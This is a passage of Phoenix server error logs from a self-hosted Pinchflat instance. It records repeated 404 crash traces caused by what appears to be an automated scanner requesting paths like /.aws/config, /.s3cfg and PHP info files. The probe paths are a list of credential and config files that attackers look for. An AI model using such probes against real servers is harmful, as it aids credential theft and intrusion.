"pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.s3cfg", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0c9e1OE2dkMAAKLx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWe (truncated) 14:08:02.018 [info] GET /.aws/config 14:08:02.020 [debug] QUERY OK source="settings" db=0.5ms idle=1267.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.021 [debug] QUERY OK source="settings" db=0.9ms idle=1266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.021 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:02.023 [error] #PID<0.12414.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 118) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.aws/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 118, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12414.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0e5qDy5_sgQAAKMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 118, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 118, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12414.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0e5qDy5_sgQAAKMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pin (truncated) 14:08:02.433 [info] GET /debug.php 14:08:02.435 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=934.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.436 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=934.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.437 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:02.438 [error] #PID<0.12415.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 119) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /debug.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 119, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12415.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/debug.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0gZwsAMtFSEAAKMR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 119, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 119, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12415.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/debug.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0gZwsAMtFSEAAKMR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:02.814 [info] GET /info2.php 14:08:02.815 [debug] QUERY OK source="settings" db=0.5ms idle=795.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.817 [debug] QUERY OK source="settings" db=1.0ms idle=794.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:02.817 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:02.818 [error] #PID<0.12416.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 120) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /info2.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info2 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 120, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12416.0>, params: %{}, path_info: ["info2"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info2.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0h3X5eNtSWsAAKMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 120, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info2 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 120, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12416.0>, params: %{}, path_info: ["info2"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info2.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0h3X5eNtSWsAAKMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:03.188 [info] GET /info1.php 14:08:03.189 [debug] QUERY OK source="settings" db=0.4ms idle=753.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:03.190 [debug] QUERY OK source="settings" db=0.7ms idle=753.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:03.190 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:03.191 [error] #PID<0.12417.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 121) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /info1.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info1 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 121, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12417.0>, params: %{}, path_info: ["info1"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info1.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0jQcGWdQa70AAKMx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 121, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info1 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 121, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12417.0>, params: %{}, path_info: ["info1"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} 